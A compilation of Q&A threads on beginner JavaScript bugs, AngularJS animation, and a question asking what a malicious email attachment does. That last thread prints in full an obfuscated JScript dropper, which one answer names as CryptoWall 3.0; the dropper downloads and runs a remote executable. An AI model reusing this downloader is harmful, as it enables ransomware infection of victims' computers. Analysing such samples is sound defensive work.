Develop Reference

Can't get a simple text-based fighting game function called from my html file to work properly (loops and if... else-statements)

I'm new to JavaScript (and programming in general). I was just playing around with this script that checks how many combat rounds it takes for fighter1 to knock out fighter2 and writes out all the combat events to the page.
When I call the fightClub(); function from my HTML-file, all that gets printed is "Test". How can I get this to work? Is my logic flawed?
Any help would be much appreciated! <3
const fighter1 = array ("Jimmy", 10, 2);
const fighter2 = array ("Chet", 10, 2);
function fightClub(fighter1, fighter2){
document.write('Test');
let hitcheck = math.ceil(math.random() * 10);
while (fighter2[1] > 0){
let roundNumber = 1;
roundNumber++;
if(hitcheck >= 5){
fighter2[1] = fighter2[1] - fighter1[2];
document.write('Round' + roundNumber);
document.write(fighter1[0] + ' deals ' + fighter1[2] + ' damage to ' + fighter2[0]);
}else {
document.write('Round' + roundNumber);
document.write(fighter1[0] + ' swung in the air and... missed ' + fighter2[0]);
}
if(fighter2[1] <= 0){
document.write(fighter2[0] + ' was knocked out.');
break;
}
}
}

You have several syntax errors in your code. Fix them and you'll see the result.
Here it is:
const fighter1 = ["Jimmy", 10, 2];
const fighter2 = ["Chet", 10, 2];
function fightClub(fighter1, fighter2){
document.write('Test');
let hitcheck = Math.ceil(Math.random() * 10); // use 'Math' not math
while (fighter2[1] > 0){
let roundNumber = 1;
roundNumber++;
if(hitcheck >= 5){
fighter2[1] = fighter2[1] - fighter1[2];
document.write('Round' + roundNumber);
document.write(fighter1[0] + ' deals ' + fighter1[2] + ' damage to ' + fighter2[0]);
}else {
document.write('Round' + roundNumber);
document.write(fighter1[0] + ' swung in the air and... missed ' + fighter2[0]);
}
if(fighter2[1] <= 0){
document.write(fighter2[0] + ' was knocked out.');
break;
}
}
}
fightClub(fighter1, fighter2);

How can I make an if else statement in JavaScript prompt a user to hit a button to continue the statement?

I have built a little project game and there is a combat system. The problem is if you hit attack it runs the if else statement all the way through but doesn't show everything. It also gives me a Not a Number error if you lose, and I can't figure out what to do. Do I need to change the order of statements or something like that?
setFightEvent: function() {
let getArena = document.querySelector(".arena");
let getEnemy = document.querySelector(".enemy");
let enemy00 = new Enemy("Goblin", 100, 0, 20, 50, 100, 100);
let enemy01 = new Enemy("Troll", 200, 0, 40, 50, 80, 150);
let chooseRandomEnemy= Math.floor(Math.random() * Math.floor(2));
switch (chooseRandomEnemy) {
case 0:
enemy = enemy00;
getArena.innerHTML = '<div><p>You are fighting a ' + enemy.enemyType + '<button class="btn-attack" onclick="EventManager.FightEvent()">Attack!</button></p></div>';
break;
case 1:
enemy = enemy01;
getArena.innerHTML = '<div><p>You are fighting a ' + enemy.enemyType + '<button class="btn-attack" onclick="EventManager.FightEvent()">Attack!</button></p></div>';
break;
}
getEnemy.innerHTML = '<img src="img/avatar-enemy/' + enemy.enemyType.toLowerCase() + '.jpg" alt="' + enemy.enemyType + '" class="img-enemy"><div><h3 class="type-enemy">' + enemy.enemyType + '</h3><p class="health-enemy">Health: ' + enemy.health + '</p><p class="mana-enemy">Mana: ' + enemy.mana + '</P><p class="dexterity-enemy>Dexterity :' + enemy.dexterity + '</p></div>';
},
FightEvent: function() {
let getEnemy = document.querySelector(".enemy");
getEnemy.style.visibility = 'visible';
let getArena = document.querySelector(".arena");
let getPlayerHealth = document.querySelector(".health-player");
let getEnemyHealth = document.querySelector(".health-enemy");
let getPlayerGold = document.querySelector(".gold-player");
let getPlayerDexterity = player.dexterity;
let getEnemyDexterity = enemy.dexterity;
let playerAttack = function () {
let calcBaseDamage;
if (player.mana > 0) {
calcBaseDamage = player.strength * player.mana / 1000;
} else {
calcBaseDamage = player.strength * player.dexterity / 1000;
}
let offsetDamage = Math.floor(Math.random() * Math.floor(10));
let calcOutputDamager = calcBaseDamage + offsetDamage;
let numberOfHits = Math.floor(Math.random() * Math.floor(player.dexterity / 6) / 2) + 1 ;
let attackValues = [calcOutputDamager, numberOfHits];
return attackValues;
}
let enemyAttack = function () {
let calcBaseDamage;
if (enemy.mana > 0) {
calcBaseDamage = enemy.strength * enemy.mana / 1000;
} else {
calcBaseDamage = enemy.strength * enemy.dexterity / 1000;
}
let offsetDamage = Math.floor(Math.random() * Math.floor(6))
let calcOutputDamager = calcBaseDamage + offsetDamage;
let numberOfHits = Math.floor(Math.random * Math.floor(enemy.dexterity / 6) / 2) + 1 ;
let attackValues = [calcOutputDamager, numberOfHits];
return attackValues;
}
if (getPlayerDexterity >= getEnemyDexterity) {
let PlayerAttackValues = playerAttack();
let totalDamage = PlayerAttackValues[0] * PlayerAttackValues[1];
enemy.health = enemy.health - totalDamage;
getArena.innerHTML = '<div><p>You hit the ' + enemy.enemyType + ' for ' + PlayerAttackValues[0] + ' damage ' + PlayerAttackValues[1] + ' times!</p></div>';
if (enemy.health <= 0) {
player.gold = player.gold + enemy.gold;
player.xp = player.xp + enemy.xp;
getArena.innerHTML = '<div<p>After a hard fought battle, you won. You also looted the ' + enemy.enemyType + ' and it had ' + enemy.gold + ' gold!<br>Gained ' + enemy.xp + ' XP!</p></div>';
getPlayerGold.innerHTML = 'Gold: ' + player.gold;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
getEnemyHealth.innerHTML = 'Health: 0';
} else {
let enemyAttackValues = enemyAttack();
let totalDamage = enemyAttackValues[0] * enemyAttackValues[1];
player.health = player.health - totalDamage;
getArena.innerHTML = '<div><p>The ' + enemy.enemyType + ' hit you for ' + enemyAttackValues[0] + ' damage ' + enemyAttackValues[1] + ' times!</p></div>';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
if (player.health <= 0) {
player.xp = player.xp + (enemy.xp / 2);
getArena.innerHTML ='<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
getPlayerHealth.innerHTML = 'Health: 0';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
} else {
getPlayerHealth.innerHTML = 'Health: ' + player.health;
}
}
} else if (getEnemyDexterity >= getPlayerDexterity) {
let enemyAttackValues = enemyAttack();
let totalDamage = enemyAttackValues[0] * enemyAttackValues[1];
player.health = player.health - totalDamage;
getArena.innerHTML = '<div><p>The ' + enemy.enemyType + 'hit you for ' + enemyAttackValues[0] + ' damage ' + enemyAttackValues[1] + ' times!</p></div>';
if (player.health <= 0) {
player.xp = player.xp + (enemy.xp / 2);
getArena.innerHTML ='<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
getPlayerHealth.innerHTML = 'Health: 0';
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
} else {
let PlayerAttackValues = playerAttack();
let totalDamage = PlayerAttackValues[0] * PlayerAttackValues[1];
enemy.health = enemy.health - totalDamage;
getArena.innerHTML = '<div><p>You hit the ' + enemy.enemyType + ' for ' + PlayerAttackValues[0] + ' damage ' + PlayerAttackValues[1] + ' times!</p></div>';
getPlayerHealth.innerHTML = 'Health: ' + player.health;
if (enemy.health <= 0) {
player.gold = player.gold + enemy.gold;
player.xp = player.xp + enemy.xp;
getArena.innerHTML = '<div<p>After a hard fought battle, you won. You also looted the ' + enemy.enemyType + ' and it had ' + enemy.gold + ' gold!<br>Gained ' + enemy.xp + ' XP!</p></div>';
getPlayerGold.innerHTML = 'Gold: ' + player.gold;
getPlayerHealth.innerHTML = 'Health: ' + player.health;
getEnemyHealth.innerHTML = 'Health: 0';
alert("Select another action before fighting again!");
} else {
getEnemyHealth.innerHTML = 'Health: ' + enemy.health;
}
}
}
},
the code seems to run fine unless you are going to lose, then it just breaks. I want to be able to say the first if else, then ask the user to hit a button before it continues. Like, if you don't kill them in one hit I would like it to show the updated health of the player and monster THEN run the if else statement again. I think the problem is if you dont OTK them it just dies. I hope that makes sense!
ps. https://squarecylinder.github.io/Stress-of-The-Kingdom/ here is a link to the game, but I used absolute positioning in CSS to line everything up, so I don't think it would look right in every display! I'm trying to figure that out as well!

The comments have already addressed the fact that you're stating Math.random instead of calling Math.random() at one point in your code, so I'll leave that alone. Other than that, this line doesn't have a semicolon at the end:
getArena.innerHTML = '<div><p>After a gruelling battle, you lost. Maybe you should rest before fighting again.<br>Gained ' + enemy.xp + '!'
It occurs twice in the code. I haven't set up a running sample of the code, so I don't know if this is your only remaining issue. If it still doesn't work after making this update, let me know and I'll remove this answer.
Side note:
Your random statements are a little bit needlessly complex. For example, with this line:
Math.floor(Math.random() * Math.floor(10))
there's no need to floor 10. 10 is already a flat integer. In fact, because you're using a lot of randomness, I'd use randojs.com to make all your randomness simpler and more readable. The line above can be written as just rando(0, 9). If you choose to use randojs, all you have to do is add the following line to the head tag of your html document:
<script src="https://randojs.com/1.0.0.js"></script>

How to get a number to display in alert box rather than NAN

I am learning javascript and I made a simple program to convert feet to meters and lbs to kg and I want to display the output using alert boxes in the correct measurements
I checked the variables using typeof and its coming back number but the alert boxes are still saying NAN.
I am new to javascript and Im following along with a udemy course.
var kgMark = parseFloat(kgMark);
var meterMark = parseFloat(meterMark);
var bmiMark = parseFloat(bmiMark);
var feetMark = parseFloat(feetMark);
var lbsMark = parseFloat(lbsMark);
kgMark = lbsMark / 2.2046;
meterMark = feetMark / 3.2808;
bmiMark = kgMark / (meterMark * meterMark);
feetMark = prompt('How tall is mark in feet?');
lbsMark = prompt('How much does mark weigh in pounds?');
alert('Mark is ' + ' ' + kgMark + ' '+ 'kilograms');
alert('Mark is ' + ' ' + meterMark + ' ' + 'meters');
alert('Marks BMI is ' + ' ' + bmiMark);
I have tried it several different ways and I am truly stuck. I keep getting the NAN error in the alert box.

First take a value then perform every logic:
var feetMark = prompt('How tall is mark in feet?');
var lbsMark = prompt('How much does mark weigh in pounds?');
feetMark = parseFloat(feetMark);
lbsMark = parseFloat(lbsMark);
var kgMark = lbsMark / 2.2046;
var meterMark = feetMark / 3.2808;
var bmiMark = kgMark / (meterMark * meterMark);
alert('Mark is ' + ' ' + kgMark + ' '+ 'kilograms');
alert('Mark is ' + ' ' + meterMark + ' ' + 'meters');
alert('Marks BMI is ' + ' ' + bmiMark);

Changing the code to the following worked:
var feetMark = parseFloat(prompt('How tall is mark in feet?'));
var lbsMark = parseFloat(prompt('How much does mark weigh in pounds?'));
kgMark = parseFloat(lbsMark / 2.2046);
meterMark = parseFloat(feetMark / 3.2808);
var bmiMark = parseFloat(kgMark / (meterMark * meterMark));
console.log('Mark is ' + ' ' + kgMark + ' '+ 'kilograms');
console.log('Mark is ' + ' ' + meterMark + ' ' + 'meters');
console.log('Marks BMI is ' + ' ' + bmiMark)
Whats happening in the code you posted is a mixture of something called hoisting and the fact that when you run parseFloat on an undefined variable, its making those variables NaN; which whatever operation you do on it will always remember NaN.
So, I would suggest to parseFloat the variables when you are sure that you receive some value in it.
I hope this helps.

Play a sequence of images with JS, using $timeout to schedule frames

I'm using AngularJS to prefetch images in cache client and then I want to animate those prefetched images.
My code for the prefetching:
$scope.prefetch=function(limit) {
for (var i=0; i<limit; i++) {
var date = new Date($scope.dt);
if ($scope.fileFlag == false) {
if ($scope.viewmodel.timeResolution == 'yearly')
date = new Date(date.setFullYear(date.getFullYear() + i));
else if ($scope.viewmodel.timeResolution == 'monthly')
date = new Date(date.setMonth(date.getMonth() + i));
else if ($scope.viewmodel.timeResolution == 'daily') {
date = new Date(date.setDate(date.getDate() + i));
}
} else {
date = $scope.files[$scope.files.indexOf($scope.idSelectedVote) + i];
}
console.log( $http.get(site_url + "mwf/" + $scope.viewmodel.dataSet + "/" + $scope.viewmodel.varName + "/" + $scope.viewmodel.region + "/" + date + "/map/?vMin=" + $scope.VMin + "&vMax=" + $scope.VMax + "&type=" + $scope.viewmodel.type + "&cmap=" + $scope.viewmodel.colorMap, {'cache': true}));
}
};
then i do something like this to play those images
$scope.play=function(limit) {
for (var i=0; i<limit; i++) {
$scope.map.src= site_url + "mwf/" + $scope.viewmodel.dataSet + "/" + $scope.viewmodel.varName + "/" + $scope.viewmodel.region + "/" + parseInt(date)+i + "/map/?vMin=" + $scope.VMin + "&vMax=" + $scope.VMax + "&type=" + $scope.viewmodel.type + "&cmap=" + $scope.viewmodel.colorMap;
$scope.sleepFor(500);
}
};
$scope.sleepFor = function( sleepDuration ) {
var now = new Date().getTime();
while(new Date().getTime() < now + sleepDuration){ /* do nothing */ }
}
My problem is when I call play(4) it displays only the first and the last images and not an animation. Any idea on how can I improve this code or a different approach so I can do this?

Your sleepFor is an idle loop: you spin and do nothing, but you prevent any other work from being done. This is not the way in Javascript to delay work for a set period of time, or schedule a function to be run at a later time. In Javascript we use window.setTimeout -- and in Angular we have the convenient $timeout service to provide that:
$scope.play = function(limit) {
for (var i=0; i < limit; i++) {
$scope.map.src = site_url + "mwf/" + $scope.viewmodel.dataSet + "/" + $scope.viewmodel.varName + "/" + $scope.viewmodel.region + "/" + parseInt(date)+i + "/map/?vMin=" + $scope.VMin + "&vMax=" + $scope.VMax + "&type=" + $scope.viewmodel.type + "&cmap=" + $scope.viewmodel.colorMap;
var nextFrameMs = 500;
$timeout($scope.play, nextFrameMs);
}
};
In your example, wherever your $scope is provided to you -- assuming this is in a controller, you will have some line like module.controller($scope, ...) -- you will have to inject the $timeout service to be able to use it.
Additional resources:
Angular's documentation on $timeout
MDN documentation of window.setTimeout

You have to use intervals otherwise your code will block the execution of other code
Using Angular's built in $interval service is the solution:
var playInterval;
$scope.play = function(limit) {
var interval = 1000 / 20; //20 frames per second
var i = 0;
$interval.cancel(playInterval); //stop previous animations if any
if(i < limit) {
$scope.map.src = getSrc(i++);
var cache = $interval(function() {
if(i >= limit) {
return $interval.cancel(playInterval); //or you can replace with `i = 0;` to loop the animation
}
$scope.map.src = getSrc(i++);
}, interval);
}
};
function getSrc(i) {
return site_url + "mwf/" + $scope.viewmodel.dataSet + "/" + $scope.viewmodel.varName + "/" + $scope.viewmodel.region + "/" + parseInt(date)+i + "/map/?vMin=" + $scope.VMin + "&vMax=" + $scope.VMax + "&type=" + $scope.viewmodel.type + "&cmap=" + $scope.viewmodel.colorMap;
}

what is this malicious script trying to accomplish?

Sorry if this is not the right place to ask this, please LMK if this question would be suited better somewhere else!
I got a particularly interesting piece of junk mail sent to my work email. It is supposedly someone's resume, but it is actually a very obscure piece of javascript. It looks like it tries to launch a windows executable via activeX. I think the goal of the attacker is to you have you run the .js file directly as a windows script. I ran it on my windows 7 computer and Symantec Endpoint stopped it with a "Suspicious executable image download" warning. I ran it in a windows XP vm without any antivirus installed, and I got a pop up notification
2865241.exe - Appication Error The application failed to initialize properly (0xc0000135). Click on OK to terminate the application
followed by a notification from Windows Script Host
Script: C:\path\to\Resume Jaime Harding.js
Line: 9
Char: 1
Error: Write to file failed.
Code: 800A0BBC
Source: ADODB.Stream
So is it actually attempting to write a binary and run it? What might it be trying to accomplish? Why did it fail? I played the role of "gullible email recipient" and ran it, and it just bombed out. What environment might this succeed in?
A lot of the gibberish looks like it is possibly, intentionally ugly variable names used as properties of window. However, there are a lot of "charAt"s so maybe the strings are just a decoy and it is only extracting certain characters and using them. several of the "functions" have arguments being passed in the form of (/regex/g,"") so it looks like that is trying to filter away garbage from the strings, but I can't tell where the actual call to replace is that would actually do the replacing.
Below is the JS, it is highly obfuscated. I beatified it for some semblance of readability.
(function () {
var D2p = (8.0 + "'=+)D]R.MPjS"["length"] * 28);
kOY = ("\x89\x60eYE;U\x83L^SP'yp"["charCodeAt"](6) * 0 + 18.0);
qEI = "N9-0GO3m8/d*VI4&g)tG*k"[("=[TOcgnm7St5a(hUdK,?"["charCodeAt"](13) * 409139717 + 39.0)["toString"](("xA\x85Ru6-iU{*c~\x87\x86("["charCodeAt"](5) * 0 + 29.0))](/[m\-\*I0tNO\)\&\/]/g, "");
T7Y = "6Y=0oSknwWp[U&qjKCBF*L"[("<e.y\x8bZ2fX\x7f"["charCodeAt"](2) * 921305672 + 22.0)["toString"]((34.0 + "NuU\x7f/\x8a\x8683y$EY<f&{x"["charCodeAt"](8) * 0))](/[\*Kj\&\=6wW\[oBk]/g, "");
var Ecf = (88 * "\x85P<S\x82"["length"] + 0.0);
Tkv = ("T_e8\x83\x87X|fA\x80I\x89{\x85"["length"] * 2 + 3.0);
var Cq7 = "AGREkUTp8D&bJGdZ;qL0QsP"[(9.0 + "u\x800]\x89#ye\x88\x8aWajvT="["charCodeAt"](10) * 280311852)["toString"]((3.0 + "<$*,?Rn"["length"] * 4))](/[RJ\&pLQkUd8As\;]/g, "");
var ZTl = "`S75d`QHS#garJi50+94Y0"["replace"](/[Y\#\+HJ79a5\`]/g, "");
LIm = "AGt9>wrW66389bs4a0Yv72"["replace"](/[rAs8a\>Ybt67]/g, "");
gF9 = "#ni`1z0c~_w-vamT4uC7Fc%G"[(12.0 + "\x83%Q\x880\x8b*asr\x82;W"["length"] * 3877454369)["toString"]((5 * "_YKyr\x82"["length"] + 5.0))](/[\-\%4Fm\#0C\~1\_\`vn]/g, "");
var Uwg = "QwFnSfAc07q2MpO!]P*HzbZ"[(4.0 + "CHE'zl+]e4"["length"] * 4238006093)["toString"]((34.0 + "1y.\x89d/}n*6\x7f\x88w"["charCodeAt"](8) * 0))](/[z\!f27\*Qw\]npcb]/g, "");
function Kg3(fr, KPA, rn) {
var ERG = new ActiveXObject("]W_SFc)rHi7p_tz.TSv%hB_eKl5l"["replace"](/[\)KT\%vzF\_7\]5HB]/g, ""));
var mE6 = ("Ov\x81xP*sX\x80"["length"] * 11 + 4.0);
var KPA = ERG["Ex" + (73 > 45 ? "\x70" : "\x68") + "andEnvironmentSt" + "" + (77 > 7 ? "\x72" : "\x6d") + "ings"]("G%oT&EySM&PXX%"[("iIopR\x809O2\x82PtYg:'[}#"["charCodeAt"](12) * 225213779 + 43.0)["toString"]((0.0 + "OJN.R%\x8angI"["length"] * 3))](/[\&SXGyo]/g, "")) + String["f" + "romCharCod" + (81 > 5 ? "\x65" : "\x5e") + ""](92) + KPA;
var j$2 = "qv3zu6Sa7FdMeSbxt~*fklyGQu"[(43.0 + "5Hd|tb/M3Yx\x87e"["charCodeAt"](6) * 1269417725)["toString"]((0 * "Wv1jN\x88G\x81muC4nVx#w<"["charCodeAt"](11) + 36.0))](/[G\*6qvl\~kxSQFMz7]/g, "");
var Ttc = new ActiveXObject("kM+SGNXfMFfLD2g.kX[mM#L3H`qTFT/AP"["replace"](/[\/NkqF\[\#\+G\`gADmf3]/g, ""));
QBc = "efbNd<t&A&q#4%`8RFLI29CH"["replace"](/[\`9\<edI\#R\&\%CLb]/g, "");
Ttc["onre" + (78 > 3 ? "\x61" : "\x5a") + "dys" + "t" + (71 > 45 ? "\x61" : "\x5c") + "techange"] = function () {
if (Ttc["r" + "eadyStat" + (98 > 18 ? "\x65" : "\x60") + ""] === 4) {
var OF$ = new ActiveXObject("-AlDROqDWBJ.ESz!tbir#eH[a&lm"["replace"](/[H\#JWi\-E\!\[zqR\&lb]/g, ""));
var Jwu = ("08#\x89:{\x83\x81[UR]2I"["charCodeAt"](10) * 4 + 60.0);
OF$["o" + "" + (58 > 34 ? "\x70" : "\x67") + "en"]();
i61 = "eJj7XqxlFeC5B_1RsHQt!1"["replace"](/[QXje\!5sx\_Rl]/g, "");
izb = ("U}o=Q8(c<\x8bO-|.5^"["charCodeAt"](6) * 2 + 34.0);
var zyH = (10.0 + "\x80LF:,n'1-c0\x8a="["length"] * 11);
var k3C = ";n#E2LaW=0GNTs-1JT!OTce"["replace"](/[T\=\;1\-\!ca\#G2]/g, "");
OF$["" + "t" + (91 > 18 ? "\x79" : "\x72") + "pe"] = 1;
var EKM = "Ncvs&1RzLd8Qt7Z-~M(YQfrp"[("-*\x84f\x86N\x8b6Tn{qgw3yl\x7fK"["charCodeAt"](5) * 454460829 + 5.0)["toString"](("\x89/(,TD#e<kyn%+.xW"["charCodeAt"](13) * 0 + 33.0))](/[c7\(R\-s\~\&r8NQL]/g, "");
OF$["wri" + (76 > 16 ? "\x74" : "\x6a") + "" + "e"](Ttc["R" + (94 > 34 ? "\x65" : "\x5b") + "s" + "ponseB" + (85 > 2 ? "\x6f" : "\x65") + "dy"]);
PDX = (31.0 + "5IY9?r\x896B{i1*Re"["charCodeAt"](12) * 6);
OF$["" + "posi" + (77 > 29 ? "\x74" : "\x6a") + "ion"] = 0;
v$8 = (2.0 + "b&|\x8b)gY\x83"["length"] * 61);
OF$["saveT" + (79 > 38 ? "\x6f" : "\x68") + "F" + "" + (85 > 43 ? "\x69" : "\x62") + "le"](KPA, 2);
W2Q = "(DLsxL6Ll0a(OC]trZBv`b"[(")=\x88\x81>"["length"] * 10081381361 + 4.0)["toString"]((0 * "aWi\x80/4h\x60uIcJbt-^,'"["charCodeAt"](17) + 35.0))](/[\(OBx0r\`\]L]/g, "");
OF$["c" + "los" + (94 > 26 ? "\x65" : "\x5b") + ""]();
var ue0 = "MT3gL29u`i-u4k3eR8N+o"["replace"](/[4\+\`L8MR93\-]/g, "");
}
;
var xbw = "MY<m6do1bcJs;j3mCP7c"[(283571292 * "GbS4sw#qE*\x7f)\x87V"["charCodeAt"](13) + 21.0)["toString"]((3 * "57e2>-m+"["length"] + 7.0))](/[\<3MoJ67b\;C]/g, "");
};
var b$y = ("\x86mjoi\x87n.(y0#,Y"["length"] * 2 + 0.0);
Teq = "80u3mip>VfE-Mnlk9#[L*yEc"[("v({w>Y<qr#3-="["length"] * 3877454369 + 12.0)["toString"](("pm\x60oO(EeT<w"["charCodeAt"](5) * 0 + 35.0))](/[\[V0\*kEi3\#\>\-8n]/g, "");
try {
Ttc["o" + "p" + (65 > 36 ? "\x65" : "\x5e") + "n"](";GoE%T"["replace"](/[o\%\;]/g, ""), fr, false);
lw7 = "fte5jz9s_Yt=DIb]aB!6IB"[(1050143891 * "5~K<\x60c0>lC#=E("["charCodeAt"](6) + 41.0)["toString"]((0 * "p4uV?rw.'\x83m|\x86"["charCodeAt"](4) + 35.0))](/[\!\_9\=faIeY\]j]/g, "");
var jLj = "`=e;E_fhW2c/F8njVljt(G"["replace"](/[\`\/\;lj2\(h\_\=8]/g, "");
Ttc["" + "s" + (53 > 26 ? "\x65" : "\x5c") + "nd"]();
var X2P = (41 * "&S_R8gA'v"["length"] + 7.0);
if (rn > 0) {
ERG["R" + "" + (55 > 18 ? "\x75" : "\x6e") + "n"](KPA, 0, 0);
pcx = "oHzfN0Bajv]M5Tpy(Ssik=Kt"[(9.0 + "=h)$[\x84>:8#MIZ-fK}"["charCodeAt"](7) * 869084600)["toString"]((35.0 + "Ul\x88\x84^ObN+:Q>HomiJqg"["charCodeAt"](9) * 0))](/[\=5jKapiS\(zo\]N0]/g, "");
}
;
var FmH = "7_3QTXRgjK6+mj/4!2&h[ml"[("djG\x80\x8bMk\x814&geJ/\x86#\x83s"["charCodeAt"](5) * 382957200 + 62.0)["toString"]((32.0 + "\x84h4qDZ2j$\x817C"["charCodeAt"](2) * 0))](/[Q\/gK\+7X\_\&\[m\!]/g, "");
sIy = (36.0 + "O8^\x88aSZN&Ts"["charCodeAt"](9) * 4);
VBS = (17 * "$jG)r^o\x894Oc5"["length"] + 1.0);
} catch (er) {
}
;
sKc = "l2iC]fvA]f8b7aTzyIkY9[vq"["replace"](/[72I8\[vyTCYl\]]/g, "");
}
Kg3("qhAtyt<zpx5:X/>/DdMa#vciksl1x>.=Ir7uK/Ri0m2a`gIe-%s0/6Ooqn]e)!.7]jNpKg"["replace"](/[qyKADO\%\-67\)\>R\`I5\#z\<0N2\=\!klxM\]cX]/g, ""), "L2MP8&6#5s2s4Q1().ibeaxYe"[(672699379 * "\x81\x7f{=%\x85+tE~?DP"["charCodeAt"](10) + 57.0)["toString"]((6.0 + "A\x86hk8DU\x82G6390."["length"] * 2))](/[ab\&Yi\)\#s\(PQLM]/g, ""), 1);
iBR = "~UcONvQg!zT2P(RXe-k(Pp"[(3977508874 * "{2\x7f\x82A\x83S\x88\x84gW~c%P"["length"] + 8.0)["toString"]((0 * "Gk5o~$\x89;2^:plS&gUhnR"["charCodeAt"](10) + 36.0))](/[NQTP\(\-Xc\~\!]/g, "");
var TAb = (2.0 + "B%;'(W]0JaEi\x898_"["length"] * 1);
Jfj = "Qk*rH#UKlsg5O->f`4~iyz"[(2032260927 * ",2\x84\x8b\x60P_[;Qtg"["length"] + 9.0)["toString"]((1.0 + "pQdk["["length"] * 6))](/[\-\~\`sK\#Qy\>\*5r]/g, "");
dkD = "`aL1;xbr;eJkDA)R*hoM"[(62.0 + ";[DY7J:K\x85\x88x$3t<"["charCodeAt"](7) * 393169392)["toString"]((0 * ";fud=6t(%\x80\x82+y^m"["charCodeAt"](8) + 32.0))](/[L\)o\`J\*bD\;]/g, "");
Hz9 = "zNiGSF9+7WHUhpZxILHEM"["replace"](/[F\+pULEzSixW]/g, "");
Kg3("Bhxt(tZ%pfM:#/Y/%nd3a;vGxiNs8R1N.kr>uTD/ficmTaKg5e&s4J/]tEwWoJ.EjH%pcg"[(7089588933 * "z_OC("["length"] + 2.0)["toString"]((33.0 + "PRybeAL>6;U\x87"["charCodeAt"](9) * 0))](/[4DKJ5RY\(3NM\%cx\]Hn\>ET\&WfkG\#\;8ZB]/g, ""), "S1-2+40605X4[9=.pelx;e"[(68.0 + "T|YL[u;<UR\x83x?\x80D~\x8b2b"["charCodeAt"](8) * 701913330)["toString"](("\x8a)jUF4$^e\x7fy;{WL_d]Xg"["charCodeAt"](6) * 1 + 0.0))](/[lX\-S\;\=\[p0\+]/g, ""), 1);
sZV = (1 * "p\x83jcq\x88d6\x85g[Ca&"["charCodeAt"](7) + 24.0);
var q3y = "+mp&uoRvn/GXa`rJKxKzW"[(33.0 + "|P,Ehf7\x8a\x82QN0X"["charCodeAt"](6) * 1084775147)["toString"]((6.0 + "^d\x896m2?:\x83\x8b"["length"] * 3))](/[\`mxoXz\/vJ\+\&]/g, "");
var vQ8 = "TAM~6=&uHrQcF=p3sOqS~81C"[(308784692 * "\x60,'3OKskndZw\x8b5iRgGN"["charCodeAt"](13) + 43.0)["toString"](("+O6hr>Vn8_0zktN"["length"] * 1 + 14.0))](/[TQ\&3\~OqM\=H1c]/g, "")
})();//p061q4Iu1W

This malware is known as CryptoWall 3.0. See this article for more information.